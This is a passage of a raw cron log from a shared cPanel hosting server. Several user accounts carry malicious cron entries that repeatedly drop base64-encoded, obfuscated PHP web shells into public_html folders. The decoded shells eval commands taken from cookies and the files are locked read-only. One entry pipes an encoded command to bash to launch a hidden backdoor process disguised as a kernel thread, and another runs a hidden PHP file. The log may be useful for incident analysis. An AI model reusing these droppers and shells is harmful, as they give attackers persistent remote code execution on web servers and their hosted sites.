HVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:00:02 medusa CROND[13066]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:00:02 medusa CROND[13074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:00:02 medusa CROND[13085]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 14:00:02 medusa CROND[13182]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 14:00:02 medusa CROND[13608]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:00:02 medusa CROND[13609]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 14:00:02 medusa CROND[13615]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  2 14:00:02 medusa CROND[13619]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 14:00:02 medusa CROND[13627]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  2 14:00:02 medusa CROND[13628]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 14:00:02 medusa CROND[13630]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:00:02 medusa CROND[13629]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 14:00:02 medusa CROND[13632]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 14:00:02 medusa CROND[13639]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 14:00:02 medusa CROND[13641]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 14:00:02 medusa CROND[13645]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  2 14:00:02 medusa CROND[13636]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 14:00:02 medusa CROND[13625]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 14:00:02 medusa CROND[13654]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  2 14:00:02 medusa CROND[13653]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 14:00:02 medusa CROND[13660]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 14:00:02 medusa CROND[13655]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  2 14:00:02 medusa CROND[13662]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 14:00:02 medusa CROND[13672]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:00:02 medusa CROND[13673]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 14:00:02 medusa CROND[13671]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 14:00:02 medusa CROND[13670]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Mar  2 14:00:02 medusa CROND[13678]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 14:00:02 medusa CROND[13681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:00:02 medusa CROND[13682]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 14:00:02 medusa CROND[13697]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:00:02 medusa CROND[13698]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:00:02 medusa CROND[13699]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:00:02 medusa CROND[13700]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:00:02 medusa CROND[13702]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 14:00:02 medusa CROND[13711]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:00:02 medusa CROND[13686]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 14:00:02 medusa CROND[13714]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:00:02 medusa CROND[13704]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  2 14:01:01 medusa CROND[22483]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 14:01:01 medusa CROND[22743]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:01:01 medusa CROND[22744]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:01:01 medusa CROND[22745]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:01:01 medusa CROND[22749]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:01:01 medusa CROND[22750]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:01:01 medusa CROND[22753]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 14:01:01 medusa CROND[22754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:01:01 medusa CROND[22756]: (root) CMD (run-parts /etc/cron.hourly)
Mar  2 14:01:01 medusa CROND[22758]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:01:01 medusa CROND[22763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:01:01 medusa CROND[22764]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:01:01 medusa CROND[22767]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:01:01 medusa CROND[22776]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6J